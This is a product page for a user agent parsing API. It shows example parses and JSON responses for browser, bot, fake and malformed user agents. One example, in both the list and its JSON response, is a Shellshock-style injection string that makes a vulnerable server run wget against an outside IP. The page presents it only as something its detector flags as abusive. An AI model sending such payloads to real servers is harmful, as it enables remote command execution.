User Agent Parsing API

Identify the Browsers, Bots, Operating Systems,
and Devices that access your website

The most detailed and flexible user agent parser. With unique and helpful abilities.

Get started - it's free

Our user agent parser has the detail, precision, and ability to handle oddities in user agents that the other user agent parsers lack.

The API also tells you if your visitor's browser is out of date, as well as how common their user agent is. Here's a demonstration of how we decode various types of user agents:

Pick an example user agent from this list...

  • A very standard sort of user agent
    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
  • We show device model numbers and names and Operating System code names
    Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
  • Let your visitors know their browser is out of date
    Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
  • We detect thousands of different bots and crawlers. Here's an example.
    Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  • We've got 35 different ways to spot fake or "weird" user agents
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0) AppleWebKit/511.22 (KHTML, like Gecko) Chrome/91.0.4324.190 Safari/511.22
  • Sanitize & fix messy user agents
    Mozilla/5.0%20(Windows%20NT%2010.0)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/86.0.4240.198%20Safari/537.36/DpRo4Du2-30/DpRo4Du2-30/DpRo4Du2-30
  • Identify dangerous user agents
    () { :;}; echo; /usr/bin/env wget http://198.51.100.23/vuln?http://example.com/ -O /dev/null;

...to see some of the features of the API

  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    simple_software_string Chrome 92 on macOS (High Sierra)
    software_type browser
    software_sub_type web-browser
    hardware_type computer
    is_up_to_date true
    release_date 2021-07-21
    Each parse response also includes easy to use variants of the things we detected, so if you just need the Software name and number, just the major version number, or the entire version number, it's very easy to access it. You don't have to go splitting or combining strings; it's all just there in the response for you to access.
    software Chrome 92
    software_name Chrome
    software_version 92
    software_version_full ["92","0","4515","107"]
    We also include a similar sort of analysis of the Operating System:
    operating_system macOS (High Sierra)
    operating_system_name macOS
    operating_system_version High Sierra
    operating_system_version_full ["10","13"]
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Chrome 92 on macOS (High Sierra)", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Chrome 92", "software_name": "Chrome", "software_name_code": "chrome", "software_version": "92", "software_version_full": [ "92", "0", "4515", "107" ], "operating_system": "macOS (High Sierra)", "operating_system_name": "macOS", "operating_system_name_code": "macos", "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": "High Sierra", "operating_system_version_full": [ "10", "13", "6" ], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": {}, "detected_addons": [], "capabilities": [], "extra_info_dict": {}, "layout_engine_name": "Blink", "layout_engine_version": [], "software_type": "browser", "software_sub_type": "web-browser", "hardware_type": "computer", "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": false, "is_weird_reason_code": null, "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" }, "version_check": { "is_checkable": true, "is_up_to_date": true, "latest_version": [ "92", "0", "4515", "107" ], "download_url": "https://www.google.com/chrome/", "update_url": "https://www.whatismybrowser.com/guides/how-to-update-your-browser/chrome", "release_date": "2021-07-21", "hours_released_ago": 145 }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 327, "first_seen_at": "2021-07-19 17:33:26", "last_seen_at": "2021-07-26 23:00:51" } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    simple_software_string Android Browser 4 on Android (Jelly Bean)
    simple_operating_platform_string Samsung Galaxy Tab 3 7.0" (SM-T217S)
    operating_system_version Jelly Bean
    operating_system_version_full ["4","2","2"]
    hardware_type mobile
    hardware_sub_type tablet
    operating_platform_code SM-T217S
    operating_platform_code_name Galaxy Tab 3 7.0"
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Android Browser 4 on Android (Jelly Bean)", "simple_sub_description_string": null, "simple_operating_platform_string": "Samsung Galaxy Tab 3 7.0\" (SM-T217S)", "software": "Android Browser 4", "software_name": "Android Browser", "software_name_code": "android-browser", "software_version": "4", "software_version_full": [ "4", "0" ], "operating_system": "Android (Jelly Bean)", "operating_system_name": "Android", "operating_system_name_code": "android", "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": "Jelly Bean", "operating_system_version_full": [ "4", "2", "2" ], "operating_system_frameworks": [], "operating_platform": "Galaxy Tab 3 7.0\" (SM-T217S)", "operating_platform_code": "SM-T217S", "operating_platform_code_name": "Galaxy Tab 3 7.0\"", "operating_platform_vendor_name": "Samsung", "extra_info": {}, "detected_addons": [], "capabilities": [], "extra_info_dict": { "Network Provider": "Sprint", "System Build": "JDQ39" }, "layout_engine_name": "WebKit", "layout_engine_version": [ "534", "30" ], "software_type": "browser", "software_sub_type": "web-browser", "hardware_type": "mobile", "hardware_sub_type": "tablet", "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": false, "is_weird_reason_code": null, "user_agent": "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30" }, "version_check": { "is_checkable": false }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 2155, "first_seen_at": "2015-03-27 12:19:12", "last_seen_at": "2021-07-08 07:27:06" } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    If your visitor is using one of the major web browsers (Chrome, Firefox, Safari, Edge, Opera, Vivaldi, or Yandex Browser), we'll let you know if it's out of date, and help encourage them to update their browser. These keys all live under the main version_check key in the parse response.
    is_checkable true
    is_up_to_date false
    latest_version ["90","0","2"]
    download_url https://www.mozilla.org/firefox/new/
    update_url https://www.whatismybrowser.com/guides/how-to-update-your-browser/firefox
    release_date 2021-07-22
    hours_released_ago 107
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Firefox 87 on Windows 10", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Firefox 87", "software_name": "Firefox", "software_name_code": "firefox", "software_version": "87", "software_version_full": [ "87", "0" ], "operating_system": "Windows 10", "operating_system_name": "Windows", "operating_system_name_code": "windows", "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": "10", "operating_system_version_full": [ "NT 10.0" ], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": { "20": [ "64-bit Edition" ] }, "detected_addons": [], "capabilities": [], "extra_info_dict": { "Hardware Architecture": "64-bit processor (AMD)" }, "layout_engine_name": "Gecko", "layout_engine_version": [ "20100101" ], "software_type": "browser", "software_sub_type": "web-browser", "hardware_type": "computer", "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": false, "is_weird_reason_code": null, "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0" }, "version_check": { "is_checkable": true, "is_up_to_date": false, "latest_version": [ "90", "0", "2" ], "download_url": "https://www.mozilla.org/firefox/new/", "update_url": "https://www.whatismybrowser.com/guides/how-to-update-your-browser/firefox", "release_date": "2021-07-22", "hours_released_ago": 107 }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 21286, "first_seen_at": "2021-05-31 10:06:54", "last_seen_at": "2021-07-27 02:00:17" } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    simple_software_string Googlebot 2.1
    software_name_code googlebot
    software_type bot
    software_sub_type crawler
    As well as detecting "bots", we also include a "sub type" field, which shows you what "kind" of bot or script is accessing your site - crawlers, analysers, security analysers, and site monitors
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Googlebot 2.1", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Googlebot 2.1", "software_name": "Googlebot", "software_name_code": "googlebot", "software_version": "2.1", "software_version_full": [ "2", "1" ], "operating_system": null, "operating_system_name": null, "operating_system_name_code": null, "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": null, "operating_system_version_full": [], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": {}, "detected_addons": [], "capabilities": [], "extra_info_dict": {}, "layout_engine_name": null, "layout_engine_version": [], "software_type": "bot", "software_sub_type": "crawler", "hardware_type": "server", "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": false, "is_weird_reason_code": null, "user_agent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" }, "version_check": { "is_checkable": false }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 5286306, "first_seen_at": "2021-02-25 14:30:56", "last_seen_at": "2021-07-21 07:00:54" } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    We've got 35 ways to detect that a user agent is "weird" or fake. This example shows one of them - a user agent with contradictory fragments.
    is_weird true
    is_weird_reason_code has_contradictory_info
    is_restricted false
    is_spam false
    We have marked this user agent as being "weird" because it has contradictory information (It has MSIE/Trident fragments along side Chrome and Safari fragments - no "real" browser does that).
    We tell you the reason we think it's weird but still provide the parse information as best as is possible. How you handle requests to your site from this user agent is your decision.
    simple_software_string Chrome 91 on Windows 8
    software Chrome 91
    operating_system Windows 8
    ...and so on...
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Chrome 91 on Windows 8", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Chrome 91", "software_name": "Chrome", "software_name_code": "chrome", "software_version": "91", "software_version_full": [ "91", "0", "4324", "190" ], "operating_system": "Windows 8", "operating_system_name": "Windows", "operating_system_name_code": "windows", "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": "8", "operating_system_version_full": [ "NT 6.2" ], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": { "20": [ "Pretending to be Internet Explorer 9" ] }, "detected_addons": [], "capabilities": [], "extra_info_dict": {}, "layout_engine_name": "Blink", "layout_engine_version": [], "software_type": "browser", "software_sub_type": "web-browser", "hardware_type": "computer", "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": true, "is_weird_reason_code": "has_contradictory_info", "user_agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0) AppleWebKit/511.22 (KHTML, like Gecko) Chrome/91.0.4324.190 Safari/511.22" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0) AppleWebKit/511.22 (KHTML, like Gecko) Chrome/91.0.4324.190 Safari/511.22" }, "version_check": { "is_checkable": true, "is_up_to_date": false, "latest_version": [ "92", "0", "4515", "107" ], "download_url": "https://www.google.com/chrome/", "update_url": "https://www.whatismybrowser.com/guides/how-to-update-your-browser/chrome", "release_date": "2021-07-21", "hours_released_ago": 7 }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 0, "first_seen_at": null, "last_seen_at": null } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    The user agent in this example has two problems that have been fixed by the sanitizer - the spaces were encoded as %20, and there was a "random" fragment after the Safari fragment which was repeated several times. This has been stripped out as well, and a cleaned user agent is returned in the user_agent_sanitized field.
    user_agent_sanitized Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
    We have got over 50 different types of fixes and approaches to sanitizing and unifying user agents. From fixing encoding and escaping issues, to removing random strings, GUIDs, time stamps and all the other strange things we've seen appear in user agents.
    This is very helpful if you're storing user agents in your own database - don't let it fill up with millions of "almost identical" user agents which have one strange fragment in them. Look for the user_agent_sanitized field in the response and store that instead.
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Chrome 86 on Windows 10", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Chrome 86", "software_name": "Chrome", "software_name_code": "chrome", "software_version": "86", "software_version_full": [ "86", "0", "4240", "198" ], "operating_system": "Windows 10", "operating_system_name": "Windows", "operating_system_name_code": "windows", "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": "10", "operating_system_version_full": [ "NT 10.0" ], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": {}, "detected_addons": [], "capabilities": [], "extra_info_dict": {}, "layout_engine_name": "Blink", "layout_engine_version": [], "software_type": "browser", "software_sub_type": "web-browser", "hardware_type": "computer", "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": false, "is_restricted": false, "is_spam": false, "is_weird": false, "is_weird_reason_code": null, "user_agent": "Mozilla/5.0%20(Windows%20NT%2010.0)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/86.0.4240.198%20Safari/537.36/DpRo4Du2-30/DpRo4Du2-30/DpRo4Du2-30" }, "sanitization": { "user_agent_sanitized": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" }, "version_check": { "is_checkable": true, "is_up_to_date": false, "latest_version": [ "92", "0", "4515", "107" ], "download_url": "https://www.google.com/chrome/", "update_url": "https://www.whatismybrowser.com/guides/how-to-update-your-browser/chrome", "release_date": "2021-07-21", "hours_released_ago": 52 }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 0, "first_seen_at": null, "last_seen_at": null } }
  • Look at just the interesting bits
    or
    View Full API JSON Response
    Field Name Detected Value
    is_abusive true
    Did you know that there are a number of ways that user agents can be dangerous? We've observed millions of different attempts at SQL injection, Command Injection, server exploits, spam attacks, and more, via the user agent header. Sites which mishandle the user agent field can leave themselves vulnerable to compromise. The API identifies and warns about many different types of exploits via modified user agent headers.
    This example user agent looks dangerous (specifically, it looks like a "Shellshock" attempt).
    View the full API JSON response to see everything
    { "parse": { "simple_software_string": "Wget", "simple_sub_description_string": null, "simple_operating_platform_string": null, "software": "Wget", "software_name": "Wget", "software_name_code": "wget", "software_version": null, "software_version_full": [], "operating_system": null, "operating_system_name": null, "operating_system_name_code": null, "operating_system_flavour": null, "operating_system_flavour_code": null, "operating_system_version": null, "operating_system_version_full": [], "operating_system_frameworks": [], "operating_platform": null, "operating_platform_code": null, "operating_platform_code_name": null, "operating_platform_vendor_name": null, "extra_info": {}, "detected_addons": [], "capabilities": [], "extra_info_dict": {}, "layout_engine_name": null, "layout_engine_version": [], "software_type": "application", "software_sub_type": null, "hardware_type": null, "hardware_sub_type": null, "hardware_sub_sub_type": null, "is_abusive": true, "is_restricted": false, "is_spam": false, "is_weird": true, "is_weird_reason_code": "found_weird_fragment_from_list", "user_agent": "() { :;}; echo; /usr/bin/env wget http://198.51.100.23/vuln?http://example.com/ -O /dev/null;" }, "sanitization": { "user_agent_sanitized": "() { :;}; echo; /usr/bin/env wget http://198.51.100.23/vuln?http://example.com/ -O /dev/null;" }, "version_check": { "is_checkable": false }, "result": { "code": "success", "message_code": "user_agent_parsed", "message": "The user agent was parsed successfully." }, "user_agent_metadata": { "times_seen": 0, "first_seen_at": null, "last_seen_at": null } }
  • Detect Browser, OS, Platform, Device Type, & over 30 other fields
  • Browsers, Bots, Phones, Tablets and many more
  • Huge range of different configurations and combinations
  • Detect if their software is out of date

Find out more about our user agent parsing endpoint

  • Keep customers in their same eco-system: Suggest Apple products to iPhone users; Android products to Android users...
  • Are they using a Smart TV? What kind of tablet do they have?
  • Enrich your Telemetry and Data

Target your customers better with our API

  • The only user agent parser that identifies "impossible" or fake user agents/version numbers
  • Catch bots, crawlers, site analysers etc
  • Make it safer for everyone

Find out more about our user agent checks and tests

  • Get all of the technical questions out of the way
  • Understand your customer's technical set up: their browser, OS, device, settings, all without even asking

Speed up help desk times by understanding your customer's technology better

Trusted and used by:

  • ancestry.com
  • Campaign Monitor
  • Twitter
  • Devo
  • CIO Pulse
  • LUXE City Guides
  • Perseus
  • Lucror Analytics
  • Peppered
  • SecurityIQ
  • Mozzeno
  • Flayyer
  • Mozzeno
  • EFL Global
  • Haynes and Company
  • Regional Australia Bank
  • MyMahi
  • YouGov
  • Green Climate Fund
  • Make Influence
  • World Wide Learning Group
  • Onderdelenplanet
  • Better Impression
  • Vedamo

And over a thousand more...

What our customers are saying...

More features...

  • Clean up your server logs
  • Get rid of "almost-duplicate" user agents
  • Get a "sanitized" version of a user agent
    • Fix encoding issues
    • Remove GUIDs and other unique identifiers
    • Remove random/anonymizer fragments

Find out more about cleaning up user agents

  • Get the latest version numbers for all the major browsers and operating systems
  • Version checks to reduce Help Desk load - automatically make sure your customers's browser is up to date and has the right settings
  • Get samples of the latest user agents for all major browsers and operating systems - perfect for your tests or for impersonating real browsers

Find out more about our version data and version checks

  • Perfect for advanced queries: eg "Find all Firefox on Android user agents first seen before June 2019"
  • Each user agent record also contains all our parse data from the API for it
  • Includes meta data about each user agent: popularity etc
  • Full Database Dumps: MySQL, CSV, Plain Text, Parquet (For Google BigQuery etc)
  • Or, search via Live API (no need to download and import huge database dumps each week)

Find out more about our regular database updates

  • Send large batches of user agents from your logs or database
  • Perfect for processing large log files

Find out more about batch user agent parsing

Not sure if the API is right for you?

Here's a brief list of questions to help you decide if you need the API and which part to use

Features of the API

The whatismybrowser.com API contains a number of advanced features, helping you with your website visitors

Actively developed

As well as updating the User Agent Parsing library every day, we also spend a lot of time thinking about and improving the API itself.

We listen to your suggestions and feedback and happily incorporate your ideas into new features or options. It's where a number of our features actually came from! So if there's something that you'd like to see us offer, just let us know and we'll see what we can do.

Here to stay

But don't worry, as we add new features we won't pull the rug out from underneath you - if you're using a feature of the API you can rest assured it will always be there; we won't make your life harder by removing or changing things. For example, we deprecated version 1 of our API over four years ago, but it's still running for the handful of customers still using it.

Got questions? We'd love to answer them. Send us a message right now

Major Benefits of the API

There's a ton of benefits to using the API

  • Updated and expanded constantly - Other parsers receive updates one or twice a month at best; we spend several hours each day expanding and improving the user agent parser.
  • Target your customers better - Understand the devices they're using and customise your sales or content to suit them
  • Reduce friction with your Help Desk - Stop asking them annoying tech questions; skip straight to helping your customers with their problems
  • Limitless integration options - use our user agent parser regardless of your programming language of choice, if you can send HTTP requests and parse JSON you can use the API. Our customers use a range of different languages including JavaScript, PHP, Python, DotNet, Java, Ruby, NodeJS and even Microsoft Excel!
  • Never update your libraries again - Use the API and you'll always be using the latest version of the user agent parser. No libraries to download and maintain. That's one less thing for you to worry about!
  • High availability - We run on AWS, providing you with low latency requests and high availability.
  • Detailed documentation - We provide a detailed Integration Guide, interactive API specification, and sample code to get you started.
  • Amazing support - we respond very quickly to your messages and will always help however we can, regardless of your plan. We believe everyone should get the best support possible.

Documentation

We really care about making it as easy and quick to use the API and making your job easier; here's how to get started.

Detailed integration guide

With step by step instructions taking you through the process of using the API, our integration guide is the best place to start. It explains the concepts of the API, the various end points, the different response codes you'll get from the API and how best to use the API.

Sample Code

Our sample code makes it easy to get started in your programming language of choice.

API Support & FAQs

Here are some Frequently Asked Questions and how to get in touch with us. We're always happy to help with any problems or questions.

API Version History

If you're curious, here's the API Version History Log, showing when we launched various features and end points.

Not quite sure about something? Need a hand?

We are committed to providing world-class sales and support. All users, regardless of their API plan get full support for the API.

Having a problem?

If you're a bit stuck with getting hooked up to the API just let us know and we'll get you sorted.

You also might find the answer in our API Support & FAQs section

Still deciding?

Or if you haven't signed up yet and want to ask something about the API; we'll answer your questions & ensure that the API is what you need.

Get in touch

You can send us a message via our Contact Us page and we'll help.

Terms and Conditions

Here are the WhatIsMyBrowser.com API Terms and Conditions.

Want some laptop stickers and a coffee mug?

If you start using the API on any paid plan, we'd love to send you some cool vinyl laptop stickers.

Just send us a message from the Accounts System along with your name and international mailing address and we'll send them your way!

Enterprise customers get a coffee mug too.

Get started

The API is free to use and easy to set up, so why not get started right now.

Do you have a question? Get in touch! We'd love to help you.